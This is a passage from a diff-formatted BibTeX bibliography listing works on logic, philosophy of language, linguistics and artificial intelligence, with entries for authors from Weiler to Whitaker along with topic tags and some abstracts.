{Departmemt of Social Science Informatics, + University of Amsterdam}, + year = {1998}, + address = {Amsterdam}, + note = {GET URL}, + topic = {Prolog;programming-systems-manuals;} + } + +@incollection{ weiler:1976a, + author = {Gershon Weiler}, + title = {Points of View}, + booktitle = {Language in Focus}, + publisher = {D. Reidel Publishing Co.}, + year = {1976}, + editor = {Asa Kasher}, + pages = {661--674}, + address = {Dordrecht}, + topic = {indexicality;Leibniz;} + } + +@article{ weinberg_a:2000a, + author = {Amy Weinberg}, + title = {Review of {\it Architectures and Mechanisms for Language + Processing}, by {M}atthew {W}. {C}rocker and {M}artin + {P}ickering and {C}harles {C}lifton, {J}r.}, + journal = {Computational Linguistics}, + year = {2000}, + volume = {26}, + number = {2}, + pages = {648--651}, + xref = {Review of: crocker-etal:2000a.}, + topic = {parsing-psychology;psycholinguistics;} + } + +@article{ weinberg_jr:1941a, + author = {Julius R. Weinberg}, + title = {Ockham's Conceptualism}, + journal = {The Philosophical Review}, + year = {1941}, + volume = {50}, + number = {5}, + pages = {523--528}, + topic = {medieval-logic;} + } + +@book{ weinberger:1998a, + author = {Ota Weinberger}, + title = {Alternative Action Theory}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + address = {Dordrecht}, + ISBN = {0792351843 (hardcover)}, + note = {Alternative title: A Critique Of {G}eorg {H}enrik von + {W}right's Practical Philosophy}, + topic = {practical-reasoning;} + } + +@article{ weiner_jl:1980a, + author = {J.L. Weiner}, + title = {{BLAH}, A System Which Explains Its Reasoning}, + journal = {Artificial Intelligence}, + year = {1980}, + volume = {15}, + number = {1--2}, + pages = {19--48}, + acontentnote = {Abstract: + In this paper we describe the design of BLAH, a system which + combines a reasoning capability with an explanation capability. + The primary focus of this work is on structuring explanations so + that they do not appear complex, and thus are easy to + understand. The features of explanation structure that are + identified as important include constraints of syntactic form, + ways of managing the embedding of explanations, and how the + focus of attention is located and shifted. The reasoning + component has been designed to take account of certain features + needed in generating an acceptable explanation, such as the + user's expectations. } , + topic = {nl-generation;explanation;} + } + +@incollection{ weiner_o:1988a, + author = {Oswald Weiner}, + title = {Form and Content in Thinking {T}uring Machines}, + booktitle = {The Universal {T}uring Machine: A Half-Century + Survey}, + publisher = {Oxford University Press}, + year = {1988}, + editor = {Rolf Herkin}, + pages = {631--657}, + address = {Oxford}, + topic = {foundations-of-cognition;} + } + +@article{ weingartner:1973a, + author = {Paul Weingartner}, + title = {A Predicate Calculus for Intensional Logic}, + journal = {Journal of Philosophical Logic}, + year = {1973}, + volume = {2}, + number = {2}, + pages = {2}, + topic = {axiomatizations-of-FOL;modal-logic;} + } + +@article{ weingartner:1974a, + author = {Paul Weingartner}, + title = {On the Characterization of Entities by Means of + Individuals and Properties}, + journal = {Journal of Philosophical Logic}, + year = {1974}, + volume = {3}, + number = {3}, + pages = {323--336}, + topic = {identity;definite-descriptions;} + } + +@book{ weingartner-schurz:1996a, + editor = {Paul Weingartner and Gerhard Schurz}, + title = {Law and Prediction in the Light Of Chaos Research}, + publisher = {Springer-Verlag}, + year = {1996}, + address = {Berlin}, + ISBN = {3540615849}, + topic = {philosophy-of-science;chaos-theory;} + } + +@incollection{ weinreich:1966a, + author = {Uriel Weinreich}, + title = {Explorations in Semantic Theory}, + booktitle = {Current Trends in Linguistics}, + publisher = {Mouton}, + year = {1966}, + editor = {Thomas Sebeok}, + missinginfo = {pages}, + address = {The Hague}, + topic = {nl-semantics;foundations-of-semantics;} + } + +@incollection{ weinreich:1971a, + author = {Uriel Weinreich}, + title = {Explorations in Semantic Theory}, + booktitle = {Semantics: An Interdisciplinary Reader in Philosophy, + Linguistics, and Psychology}, + publisher = {Cambridge University Press}, + year = {1971}, + editor = {Danny D. Steinberg and Leon A. Jacobovits}, + pages = {308--328}, + address = {Cambridge, England}, + topic = {nl-semantics;foundations-of-semantics;} + } + +@article{ weinstein:1975a1, + author = {Scott Weinstein}, + title = {Truth and Demonstratives}, + journal = {No\^us}, + year = {1974}, + volume = {8}, + pages = {179--184}, + xref = {Republication: weinstein:1975a2.}, + topic = {Davidson-semantics;indexicals;} + } + +@incollection{ weinstein:1975a2, + author = {Scott Weinstein}, + title = {Truth and Demonstratives}, + booktitle = {The Logic of Grammar}, + publisher = {Dickenson Publishing Co.}, + year = {1975}, + editor = {Donald Davidson and Gilbert H. Harman}, + pages = {60--63}, + address = {Encino, California}, + xref = {Journal publication: weinstein:1975a1.}, + topic = {Davidson-semantics;indexicals;} + } + +@article{ weinstein:1983a, + author = {Scott Weinstein}, + title = {The Intended Interpretation of Intuitionistic Logic}, + journal = {Journal of Philosophical Logic}, + year = {1983}, + volume = {12}, + number = {2}, + pages = {261--270}, + topic = {intuitionistic-mathematics;intuitionistic-logic; + philosophy-of-mathematics;} + } + +@article{ weirich:1979a, + author = {P. Weirich}, + title = {Conditionalization and Evidence}, + journal = {The Journal of Critical Analysis}, + year = {1979}, + volume = {8}, + pages = {15--18}, + missinginfo = {A's 1st name, number}, + topic = {probability-kinematics;} + } + +@article{ weischedel-etal:1978a, + author = {Ralph M. Weischedel and Wilfried M. Voge and Mark James}, + title = {An Artificial Intelligence Approach to Language + Instruction}, + journal = {Artificial Intelligence}, + year = {1978}, + volume = {10}, + number = {3}, + pages = {225--240}, + topic = {intelligent-computer-assisted-language-instruction;} + } + +@unpublished{ weischedel:1987a, + author = {Ralph N. Weischedel}, + title = {A Personal View of Ill-Formed Input Processing}, + year = {1987}, + note = {Unpublished Manuscript, BBN Laboratories.}, + missinginfo = {May have been published.}, + topic = {ill-formed-nl-input;} + } + +@article{ weischedel:1990a, + author = {Ralph N. Weischedel}, + title = {Natural Language Processing}, + journal = {Annual Review of Computational Science}, + year = {1990}, + volume = {4}, + pages = {435--452}, + missinginfo = {Check Journal Title.}, + topic = {nlp-survey;} + } + +@article{ weiss_ma-parikh:2002a, + author = {M. Angela Weiss and Rohit Parikh}, + title = {Completeness of Certain Bimodal Logics for Subset Spaces}, + journal = {Studia Logica}, + year = {2002}, + volume = {71}, + number = {1}, + pages = {1--30}, + topic = {subset-spaces;modal-logic;} + } + +@article{ weiss_se:1976a, + author = {Stephen E. Weiss}, + title = {The Sorites Fallacy: What Difference Does a Peanut Make?}, + journal = {Synt\`hese}, + year = {1976}, + volume = {33}, + pages = {253--272}, + topic = {vagueness;sorites-paradox;} + } + +@article{ weiss_sm-etal:1978a, + author = {Sholom M. Weiss and Casimir A. Kulikowski and Saul Amarel + and Aran Safir}, + title = {A Model-Based Method for Computer-Aided Medical + Decision-Making}, + journal = {Artificial Intelligence}, + year = {1978}, + volume = {11}, + number = {1--2}, + pages = {145--172}, + acontentnote = {Abstract: + A general method of computer-assisted medical decision-making + has been developed based on causal-associational network + (CASNET) models of disease. A CASNET model consists of three + main components: observations of a patient, pathophysiological + states, and disease classifications. As observations are + recorded, they are associated with the appropriate states. + States are causally related, forming a network that summarizes + the mechanisms of disease. Patterns of states in the network + are linked to individual disease classifications. + Recommendations for broad classes of treatment are triggered by + the appropriate diagnostic classes. Strategies of specific + treatment selection are guided by the individual pattern of + observations and diagnostic conclusions. This approach has been + applied in a consultation program for the diagnosis and + treatment of the glaucomas. } , + topic = {medical-AI;decision-support;} + } + +@book{ weiss_sm-kulikowski:1984a, + author = {Sholom M. Weiss and Casimir A. Kulikowski}, + title = {A Practical Guide to Designing Expert Systems}, + publisher = {Rowman and Allanheld}, + year = {1984}, + address = {Totowa, New Jersey}, + ISBN = {0865981086}, + xref = {Review: dym:1985b.}, + topic = {expert-systems;} + } + +@article{ weiss_sm-etal:1990a, + author = {Sholom M. Weiss and Robert S. Galen and Prasad V. Tadepalli}, + title = {Maximizing the Predictive Value of Production Rules}, + journal = {Artificial Intelligence}, + year = {1990}, + volume = {45}, + number = {1--2}, + pages = {47--71}, + topic = {rule-learning;} + } + +@book{ weiss_sm-kulikowski:1990a, + author = {Sholom M. Weiss and Casimir Kulikowski}, + title = {Computer Systems that Learn: Classification and Prediction + Methods from Statistics, Neural Nets, Machine Learning, and + Expert Systems}, + publisher = {M. Kaufmann Publishers}, + year = {1990}, + address = {San Mateo, California}, + ISBN = {1558600655}, + xref = {Review: segre-gordon:1993a.}, + topic = {machine-learning;} + } + +@book{ weiss_sm-indurkhya:1998a, + author = {Sholom Weiss and Nitin Indurkhya}, + title = {Predictive Data Mining: A Practical Guide}, + publisher = {Morgan Kaufmann}, + year = {1998}, + address = {San Francisco}, + xref = {Review: flach:2001a.}, + topic = {data-mining;machine-learning;} + } + +@article{ weitz:1953a, + author = {Morris Weitz}, + title = {Oxford Philosophy}, + journal = {Philosophical Review}, + year = {1953}, + volume = {62}, + pages = {187--233}, + missinginfo = {number}, + topic = {history-of-philosophy;British-philosophy; + ordinary-language-philosophy;JL-Austin;Grice;} + } + +@book{ weitz:1988a, + author = {Morris Weitz}, + title = {Theories of Concepts: A History of the Major Philosophical + Tradition}, + publisher = {Routledge}, + year = {1988}, + address = {London}, + xref = {Review: matthews_gb:1991a}, + topic = {concepts;history-of-philosophy;} + } + +@article{ weitzenfeld:1984a, + author = {Julian S. Weitzenfeld}, + title = {Valid Reasoning by Analogy}, + journal = {Philosophy of Science}, + year = {1984}, + volume = {51}, + number = {1}, + pages = {137--149}, + topic = {analogy;} + } + +@article{ weld:1986a, + author = {Daniel S. Weld}, + title = {The Use of Aggregation in Causal Simulation}, + journal = {Artificial Intelligence}, + year = {1986}, + volume = {30}, + number = {1}, + pages = {1--34}, + acontentnote = {Abstract: + Aggregation is an abstraction technique for dynamically creating + new descriptions of a system's behavior. Aggregation works by + detecting repeating cycles of processes and creating a + continuous process description of the cycle's behavior. Since + this behavioral abstraction results in a continuous process, the + powerful transition analysis technique may be applied to + determine the system's final state. + This paper reports on a program which uses aggregation to + perform causal simulation in the domain of molecular genetics. A + detailed analysis of aggregation indicates the requirements and + limitations of the technique as well as problems for future + research. } , + topic = {causal-reasoning;computer-assisted-science;} + } + +@article{ weld:1988a, + author = {Daniel S. Weld}, + title = {Review of {\it Women, Fire, and Dangerous + Things}, by {G}eorge {L}akoff}, + journal = {Artificial Intelligence}, + year = {1988}, + volume = {35}, + number = {1}, + pages = {137--141}, + xref = {Review of lakoff:1987a.}, + topic = {connectionism;foundations-of-semantics;} + } + +@article{ weld:1989a, + author = {Daniel S. Weld}, + title = {Review of {\it The Psychology of Everyday Things}, by + {D}onald {A}. {N}orman}, + journal = {Artificial Intelligence}, + year = {1989}, + volume = {41}, + number = {1}, + pages = {111--114}, + topic = {industrial-design;cognitive-psychology;} + } + +@article{ weld:1990a, + author = {Daniel S. Weld}, + title = {Exaggeration}, + journal = {Artificial Intelligence}, + year = {1990}, + volume = {43}, + number = {3}, + pages = {311--368}, + topic = {qualitative-physics;} + } + +@book{ weld-dekleer:1990a, + editor = {Daniel S. Weld and Johan de Kleer}, + title = {Qualitative Reasoning about Physical Systems}, + publisher = {Morgan Kaufmann}, + year = {1990}, + address = {San Mateo, California}, + topic = {qualitative-reasoning;kr-course;} + } + +@article{ weld:1992a, + author = {Daniel S. Weld}, + title = {Reasoning about Model Accuracy}, + journal = {Artificial Intelligence}, + year = {1992}, + volume = {56}, + number = {2--3}, + pages = {256--300}, + acontentnote = {Abstract: + Although computers are widely used to simulate complex physical + systems, crafting the underlying models that enable computer + analysis remains a difficult job with only a small number of + computer tools for support. Our goal is to mechanize this + process by building an automated model management system that + evaluates simplifying assumptions and selects appropriate + perspectives. In this paper we present our initial results: a + framework for dynamically changing model accuracy based on model + sensitivity analysis. We show how to perform model sensitivity + analysis efficiently when one model is a fitting approximation + of the other. Finally, we discuss two implementations of our + technique in programs that perform [-] query-directed + simplification by adding bounding abstractions, and [-] + discrepancy-driven refinement. } , + topic = {system-modeling;} + } + +@article{ weld:1993a, + author = {Daniel S. Weld}, + title = {Review of {\it Common Sense Reasoning}, + by {E}rnest {D}avis}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {61}, + number = {1}, + pages = {113--120}, + xref = {Review of davis_e:1991a.}, + topic = {common-sense-reasoning;kr;kr-course;} + } + +@article{ wellman:1990b, + author = {Michael P. Wellman}, + title = {Fundamental Concepts of Qualitative Probabilistic + Networks}, + journal = {Artificial Intelligence}, + year = {1990}, + volume = {44}, + number = {3}, + pages = {257--303}, + topic = {qualitative-probability;} + } + +@book{ wellman_hm:1990a, + author = {Henry M. Wellman}, + title = {The Child's Theory of the Mind}, + publisher = {The {MIT} Press}, + year = {1990}, + address = {Cambridge, Massachusetts}, + topic = {folk-psychology;mental-simulation; + propositional-attitude-ascription;} + } + +@techreport{ wellman_mp:1985a, + author = {Michael P. Wellman}, + title = {Reasoning about Preference Models}, + institution = {Laboratory for Computer Science, + Massachusetts Institute of Technology}, + number = {340}, + year = {1985}, + address = {Cambridge, Massachusetts}, + topic = {preference-dynamics;preference;} + } + +@techreport{ wellman_mp:1988a, + author = {Michael P. Wellman}, + title = {Formulation of Tradeoffs in Planning Under Uncertainty}, + institution = {Massachusetts Institute of Technology Laboratory for + Computer Science}, + number = {TR--427}, + year = {1988}, + address = {545 Technology Square, Cambridge Massachusetts, 02139}, + topic = {decision-theory;qualitative-utility;planning;dominance;} + } + +@article{ wellman_mp:1988b, + author = {Michael P. Wellman}, + title = {Review of {\it Expert Critiquing + Systems: Practice-Based Medical Consultation by Computer}, + by {P}erry {L}. {M}iller}, + journal = {Artificial Intelligence}, + year = {1988}, + volume = {35}, + number = {2}, + pages = {273--276}, + xref = {Review of miller:1986a}, + topic = {medical-AI;} + } + +@incollection{ wellman_mp:1991a, + author = {Michael P. Wellman}, + title = {Qualitative Simulation with Multivariate Constraints}, + booktitle = {{KR}'91: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1991}, + editor = {James F. Allen and Richard Fikes and Erik Sandewall}, + pages = {547--557}, + address = {San Mateo, California}, + topic = {kr;qualitative-reasoning;kr-course;} + } + +@inproceedings{ wellman_mp-doyle_j:1991a, + author = {Michael Wellman and Jon Doyle}, + title = {Preferential Semantics for Goals}, + booktitle = {Proceedings of the Ninth National Conference on + Artificial Intelligence}, + year = {1991}, + editor = {Thomas Dean and Kathleen McKeown}, + pages = {698--703}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {intention;foundations-of-planning;practical-reasoning; + qualitative-utility;preference;} + } + +@incollection{ wellman_mp-henrion:1991a, + author = {Michael P. Wellman and Max Henrion}, + title = {Qualitative Intercausal Relations, or Explaining `Explaining + Away'\, } , + booktitle = {{KR}'91: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1991}, + editor = {James F. Allen and Richard Fikes and Erik Sandewall}, + pages = {535--546}, + address = {San Mateo, California}, + topic = {kr;causal-reasoning;probabilistic-reasoning;kr-course;} + } + +@inproceedings{ wellman_mp-doyle_j:1992a, + author = {Michael P. Wellman and Jon Doyle}, + title = {Modular Utility Representation for Decision-Theoretic + Planning}, + booktitle = {Proceedings of the First International Conference on + AI Planning Systems}, + year = {1992}, + month = {June}, + pages = {236--242}, + missinginfo = {editor,pages,organization,publisher,address}, + topic = {multiattribute-utility;decision-theoretic-planning;} + } + +@article{ wellman_mp-etal:1992a, + author = {Michael P. Wellman and John S. Breese and + Robert P. Goldman}, + title = {From Knowledge Bases to Decision Models}, + journal = {The Knowledge Engineering Review}, + year = {1992}, + volume = {7}, + number = {1}, + pages = {35--53}, + topic = {decision-modeling;knowledge-representation;} +} + +@article{ wellman_mp-henrion:1993a, + author = {Michael P. Wellman and Max Henrion}, + title = {Explaining `Explaining Away'\, } , + journal = {{IEEE} Transactions on Pattern Analysis and + Machine Intelligence}, + year = {1993}, + volume = {15}, + number = {3}, + pages = {287--307}, + missinginfo = {A's 1st name, number}, + topic = {causal-reasoning;explanation;qualitative-probability;} + } + +@unpublished{ wellman_mp:1996a, + author = {Michael Wellman}, + title = {Rationality in Decision Machines}, + year = {1996}, + note = {Unpublished manuscript, AI Laboratory, University of + Michigan.}, + missinginfo = {Date is a guess.}, + topic = {rationality;foundations-of-planning;} + } + +@incollection{ wellman_mp:1996b, + author = {Michael P. Wellman}, + title = {Market-Oriented Programming: Some Early Lessons}, + booktitle = {Market-Based Control: A Paradigm for + Distributed Resource Allocation}, + publisher = {World Scientific}, + year = {1996}, + editor = {Scott Clearwater}, + address = {River Edge, New Jersey}, + missinginfo = {pages}, + topic = {computational-bargaining;} + } + +@article{ welty-ide:1999a, + author = {Christopher Welty and Nancy Ide}, + title = {Using the Right Tools: Enhancing Retrieval from + Marked-up Documents}, + journal = {Computers and the Humanities}, + year = {1999}, + volume = {33}, + number = {1--2}, + pages = {59--84}, + topic = {Text-Encoding-Initiative;corpus-linguistics;} + } + +@incollection{ welty:2002a, + author = {Christopher Welty}, + title = {Panel: Are Upper-Level Ontologies worth the Effort?}, + booktitle = {{KR2002}: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {2002}, + editor = {Dieter Fensel and Fausto Giunchiglia and Deborah + McGuinness and Mary-Anne Williams}, + pages = {532}, + address = {San Francisco, California}, + topic = {kr;computational-ontology;} + } + +@article{ werger:1999a, + author = {Barry Brian Werger}, + title = {Cooperation without Deliberation: A Minimal + Behavior-Based Approach to Robot Teams}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {110}, + number = {2}, + pages = {293--320}, + topic = {minimalist-robotics;reactive-AI;} + } + +@phdthesis{ werner_b:1974a, + author = {B. Werner}, + title = {Foundations of Temporal Modal Logic}, + school = {University of Wisconsin at Madison}, + year = {1974}, + type = {Ph.{D}. Dissertation}, + address = {Madison, Wisconsin}, + missinginfo = {A's 1st name}, + topic = {temporal-logic;modal-logic;} + } + +@inproceedings{ werner_e:1988a, + author = {Eric Werner}, + title = {Towards a Theory of Communication and Cooperation for + Multiagent Planning}, + booktitle = {Proceedings of the Second Conference on Theoretical + Aspects of Reasoning about Knowledge}, + year = {1988}, + editor = {Moshe Y. Vardi}, + pages = {129--143}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {cooperation;multiagent-planning;} + } + +@book{ werth:1981a, + editor = {Paul Werth}, + title = {Conversation and Discourse: Structure and Interpretation}, + publisher = {Croom Helm}, + year = {1981}, + address = {London}, + ISBN = {0709927177}, + topic = {discourse;pragmatics;} + } + +@incollection{ wertsch:1991a, + author = {James V. Wertsch}, + title = {A Sociocultural Approach to Socially + Shared Cognition}, + booktitle = {Perspectives on Socially Shared Cognition}, + publisher = {American Psychological Association}, + year = {1991}, + editor = {Lauren B. Resnick and John M. Levine and + Stephanie D. Teasley}, + pages = {85--100}, + address = {Washington, D.C.}, + topic = {social-psychology;shared-cognition;} + } + +@article{ westerstahl:1985a, + author = {Dag Westerstahl}, + title = {Logical Constants in Quantifier Languages}, + journal = {Linguistics and Philosophy}, + year = {1985}, + volume = {8}, + number = {4}, + pages = {387--413}, + topic = {generalized-quantifiers;nl-quantifiers;} + } + +@incollection{ westerstahl:1995a, + author = {Dag Westerst{\aa}hl}, + title = {Quantifiers in Natural Language: A Survey of Some + Recent Work}, + booktitle = {Quantifiers: Logic, Models, and Computation, Vol. 1}, + publisher = {Kluwer Academic Publishers}, + year = {1995}, + editor = {Micha{\l} Krynicki and Marcin Mostowski and Les{\l}aw W. + Szczerba}, + pages = {359--408}, + address = {Dordrecht}, + topic = {generalized-quantifiers;nl-quantifiers;} + } + +@article{ westerstahl:1998a, + author = {Dag Westerst{\aa}hl}, + title = {On Mathematical Proofs of the Vacuity of + Compositionality}, + journal = {Linguistics and Philosophy}, + year = {1998}, + volume = {21}, + number = {6}, + pages = {635--643}, + topic = {compositionality;nl-semantics;} + } + +@article{ weston:1987a, + author = {Thomas Weston}, + title = {Approximate Truth}, + journal = {Journal of Philosophical Logic}, + year = {1987}, + volume = {16}, + number = {2}, + pages = {203--227}, + topic = {approximate-truth;} + } + +@article{ weston_t:1976a, + author = {Thomas Weston}, + title = {Kreisel, the Continuum Hypothesis, and Second Order Set Theory}, + journal = {Journal of Philosophical Logic}, + year = {1976}, + volume = {5}, + number = {2}, + pages = {281--298}, + topic = {foundations-of-set-theory;} + } + +@incollection{ wettstein:1978a, + author = {Howard K. Wettstein}, + title = {Proper Names and Referential Opacity}, + booktitle = {Contemporary Perspectives in the Philosophy of Language}, + publisher = {University of Minnesota Press}, + year = {1978}, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard + K. Wettstein}, + pages = {147--150}, + address = {Minneapolis}, + topic = {proper-names;referential-opacity;} + } + +@article{ wettstein:1984a1, + author = {Howard K. Wettstein}, + title = {How to Bridge the Gap between Meaning and + Reference}, + journal = {Synth\'ese}, + year = {1984}, + volume = {58}, + number = {1}, + pages = {63--84}, + xref = {Republication:1984a2.}, + topic = {demonstratives;foundations-of-semantics;} + } + +@incollection{ wettstein:1984a2, + author = {Howard K. Wettstein}, + title = {How to Bridge the Gap between Meaning and Reference}, + booktitle = {Pragmatics: A Reader}, + publisher = {Oxford University Press}, + year = {1984}, + editor = {Steven Davis}, + pages = {160--174}, + address = {Oxford}, + xref = {Republication of wettstein:1984a1.}, + topic = {demonstratives;foundations-of-semantics;} + } + +@incollection{ wettstein:1989a, + author = {Howard K. Wettstein}, + title = {Turning the Tables on {F}rege or How is + it that `Hesperus is Hesperus' is Trivial?}, + booktitle = {Philosophical Perspectives 3: + Philosophy of Mind and Action Theory}, + publisher = {Ridgeview Publishing Company}, + year = {1989}, + editor = {James E. Tomberlin}, + pages = {317--339}, + address = {Atasacadero, California}, + note = {Also available at http://www.jstor.org/journals/.}, + topic = {individual-attitudes;sense-reference;Frege;identity;} + } + +@article{ wetzel:1993a, + author = {Linda Wetzel}, + title = {What Are Occurrences of Expressions?}, + journal = {Journal of Philosophical Logic}, + year = {1993}, + volume = {22}, + number = {2}, + pages = {215--219}, + topic = {foundations-of-syntax;type-token;} + } + +@book{ wexelblat:1993a, + editor = {Alan Wexelblat}, + title = {Virtual Reality: Applications and Explorations}, + publisher = {Academic Publishers Professional}, + year = {1993}, + address = {Boston}, + ISBN = {0127450459 (paper)}, + topic = {virtual-reality;} + } + +@incollection{ weydert:1991a, + author = {Emil Weydert}, + title = {Qualitative Magnitude Reasoning: Towards a New Syntax + and Semantics for Default Reasoning}, + booktitle = {Nonmonotonic and Inductive Logics}, + publisher = {Springer-Verlag}, + year = {1991}, + pages = {138--160}, + editor = {J\"urgen Dix and Klaus P. Jantke and P.H. Schmidt}, + address = {Berlin}, + topic = {nonmonotonic-logic;qualitative-probability;} + } + +@incollection{ weydert:1991b, + author = {Emil Weydert}, + title = {Doxastic Preference Logic: A New Look at Belief Revision}, + booktitle = {Logics in {AI}, Proceedings {JELIA}'90}, + publisher = {Springer-Verlag}, + year = {1991}, + editor = {Jan {van Eijk}}, + series = {Lecture Notes in Computer Science}, + volume = {478}, + address = {Berlin}, + missinginfo = {pages}, + topic = {belief-revision;} + } + +@incollection{ weydert:1991c, + author = {Emil Weydert}, + title = {Hyperrational Conditionals: Monotonic Reasoning about + Nested Default Conditionals}, + booktitle = {Proceedings of the European Workshop on Theoretical + Foundations of Knowledge Representation and Reasoning, + {ECAI} 92}, + publisher = {Springer-Verlag}, + year = {1991}, + address = {Berlin}, + missinginfo = {editor, pages}, + topic = {conditionals;nonmonotonic-conditionals;} + } + +@incollection{ weydert:1991d, + author = {Emil Weydert}, + title = {Elementary Hyperentailment: Nonmonotonic Reasoning about + Defaults}, + booktitle = {Symbolic and Quantitative Approaches for Uncertainty: + Proceedings of the {E}uropean Conference {ECSQAU}, Marseille, + France, October 1991}, + publisher = {Springer-Verlag}, + year = {1991}, + editor = {Rudolf Kruse and Pierre Siegel}, + pages = {352--359}, + address = {Berlin}, + topic = {nonmonotonic-reasoning;qualitative-probability;} + } + +@incollection{ weydert:1996a, + author = {Emil Weydert}, + title = {Doxastic Normality Logic: A Qualitative Probabilistic + Modal Framework for Defaults and Belief}, + booktitle = {Logic, Action, and Information: Essays on Logic in + Philosophy and Artificial Intelligence}, + year = {1996}, + publisher = {Walter de Gruyter}, + editor = {Andr\'e Fuhrmann and Hans Rott}, + pages = {152--171}, + address = {Berlin}, + topic = {qualitative-probability;nonmonotonic-logic;belief; + belief-revision;epistemic-logic;} + } + +@incollection{ weydert:1996b, + author = {Emil Weydert}, + title = {Doxastic Preference Logic}, + booktitle = {Logics in {AI}}, + publisher = {Springer-Verlag}, + year = {1991}, + editor = {Jan {van Eijk}}, + address = {Berlin}, + missinginfo = {pages}, + topic = {qualitative-probability;epistemic-logic;belief;} + } + +@incollection{ weydert:1998a, + author = {Emil Weydert}, + title = {System {JZ}: How to Build a Canonical Ranking Model of + a Default Knowledge Base}, + booktitle = {{KR}'98: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1998}, + editor = {Anthony G. Cohn and Lenhart Schubert and Stuart C. + Shapiro}, + pages = {190--201}, + address = {San Francisco, California}, + topic = {kr;nonmonotonic-logic;kr-course;} + } + +@article{ weydt:1973a, + author = {Harald Weydt}, + title = {On {G}. {L}akoff, `Instrumental Adverbs and the Concept of + Deep Structure'\,}, + journal = {Foundations of Language}, + year = {1973}, + volume = {10}, + number = {4}, + pages = {569--580}, + xref = {Cited by cresswell_mj:1976a as an example of the use + of $\lambda$ in linguistics.}, + topic = {generative-semantics;nl-semantics;adverbs;} + } + +@article{ weyhrauch:1979a1, + author = {Richard W. Weyhrauch}, + title = {Prolegomena to a Theory of Mechanized Formal Reasoning}, + journal = {Artificial Intelligence}, + year = {1979}, + volume = {13}, + number = {1--2}, + pages = {133--170}, + acontentnote = {Abstract: + This is an informal description of my ideas about using formal + logic as a tool for reasoning systems using computers. The + theoretical ideas are illustrated by the features of FOL. All of + the examples presented have actually run using the FOL system.}, + xref = {Republication: weyhrauch:1979a2.}, + topic = {theorem-proving;logic-in-AI;context;} + } + +@incollection{ weyhrauch:1980a2, + author = {Richard Weyhrauch}, + title = {Prolegomena to a Theory of Mechanized + Formal Reasoning}, + booktitle = {Readings in Artificial Intelligence}, + publisher = {Morgan Kaufmann}, + year = {1981}, + editor = {Bonnie Webber and Nils J. Nilsson}, + pages = {173--191}, + address = {Los Altos, California}, + xref = {Journal Publication: weyhrauch:1979a1.}, + topic = {theorem-proving;logic-in-AI;} + } + +@article{ weyhrauch-etal:1998a, + author = {Richard W. Weyhrauch and Marco Cadoli and + Carolyn L Talcott}, + title = {Using Abstract Resources to Control Reasoning}, + journal = {Journal of Logic, Language, and Information}, + year = {1998}, + volume = {7}, + number = {1}, + pages = {77--101}, + topic = {context;resource-bounded-reasoning;} + } + +@article{ weyl:1946a, + author = {Hermann Weyl}, + title = {Mathematics and Logic}, + journal = {American Mathematical Monthly}, + year = {1946}, + volume = {53}, + pages = {2--13}, + missinginfo = {number}, + topic = {foundations-of-mathematics;} + } + +@article{ wheatley:1964a, + author = {Jon Wheatley}, + title = {How {A}ustin Does Things With Words}, + journal = {Dialogue}, + year = {1964}, + volume = {2}, + pages = {337--345}, + missinginfo = {number}, + topic = {speech-acts;pragmatics;JL-Austin;} + } + +@article{ wheatley:1964b, + author = {Jon Wheatley}, + title = {How to Give a Word a Meaning}, + journal = {Theoria}, + year = {1964}, + volume = {30, Part 2}, + pages = {119--136}, + missinginfo = {number}, + topic = {philosophy-of-language;} + } + +@incollection{ wheatley:1969a, + author = {Jon Wheatley}, + title = {Austin on Truth}, + booktitle = {Symposium on J.L. Austin}, + publisher = {Routledge and Kegan Paul}, + year = {1969}, + editor = {K.T. Fann}, + pages = {226--239}, + address = {London}, + missinginfo = {E's 1st name.}, + contentnote = {Contains a useful summary of the early literature on this + topic.}, + topic = {JL-Austin;truth;truth-bearers;} + } + +@article{ wheeler_dw-carpenter:1995a, + author = {Deirdre W, Wheeler and Bob Carpenter}, + title = {Review of {\it Computational Phonology: A Constraint-Based + Approach}, by {S}tephen {B}ird}, + journal = {Computational Linguistics}, + year = {1995}, + volume = {21}, + number = {4}, + pages = {598--603}, + xref = {Review of: bird_s:1995a.}, + topic = {computational-phonology;} + } + +@article{ wheeler_sc:1972a, + author = {Samuel C. {Wheeler III}}, + title = {Attributives and Their Modifiers}, + journal = {No\^us}, + year = {1972}, + volume = {6}, + pages = {310--334}, + missinginfo = {number}, + topic = {semantics-of-adjectives;} + } + +@unpublished{ wheeler_sc:1973a, + author = {Samuel C. {Wheeler III}}, + title = {A Solution to {W}ang's Paradox}, + year = {1973}, + note = {Unpublished manuscript, Philosophy Department, University + of Connecticut}, + topic = {sorites-paradox;vagueness;} + } + +@article{ wheeler_sc:1975a, + author = {Samuel C. {Wheeler III}}, + title = {Reference and Vagueness}, + journal = {Synth\'ese}, + year = {1975}, + volume = {30}, + pages = {155--173}, + missinginfo = {number}, + topic = {vagueness;} + } + +@article{ wheeler_sc:1979a, + author = {Samuel C. Wheeler}, + title = {On That Which is Not}, + journal = {Synthese}, + year = {1979}, + volume = {41}, + pages = {155--173}, + topic = {logic-of-existence;(non)existence;} + } + +@article{ whisner:1998a, + author = {William Whisner}, + title = {A Further Explanation and Defense of the New Model + of Self-Deception}, + journal = {Philosophia}, + year = {1998}, + volume = {26}, + number = {1--2}, + pages = {195--206}, + topic = {self-deception;} + } + +@incollection{ whitaker:1974a, + author = {Harry A. Whitaker}, + title = {Is the Grammar in the Brain?}, + booktitle = {Explaining Linguistic Phenomena}, + publisher = {Hemisphere Publishing Corp.}, + year = {1974}, + editor = {David Cohen}, + pages = {75--89}, + address = {Washington, DC}, + topic = {philosophy-of-linguistics;psychological-reality; + competence;} + } + +@book{ whitaker_cwa:1996a, + author = {C.W.A. Whitaker}, + title = {Aristotle's {D}e {I}nterpretatione: Contradiction + and Dialectic}, + publisher = {Oxford University Press}, + year = {1996}, + address = {Oxford}, + ISBN = 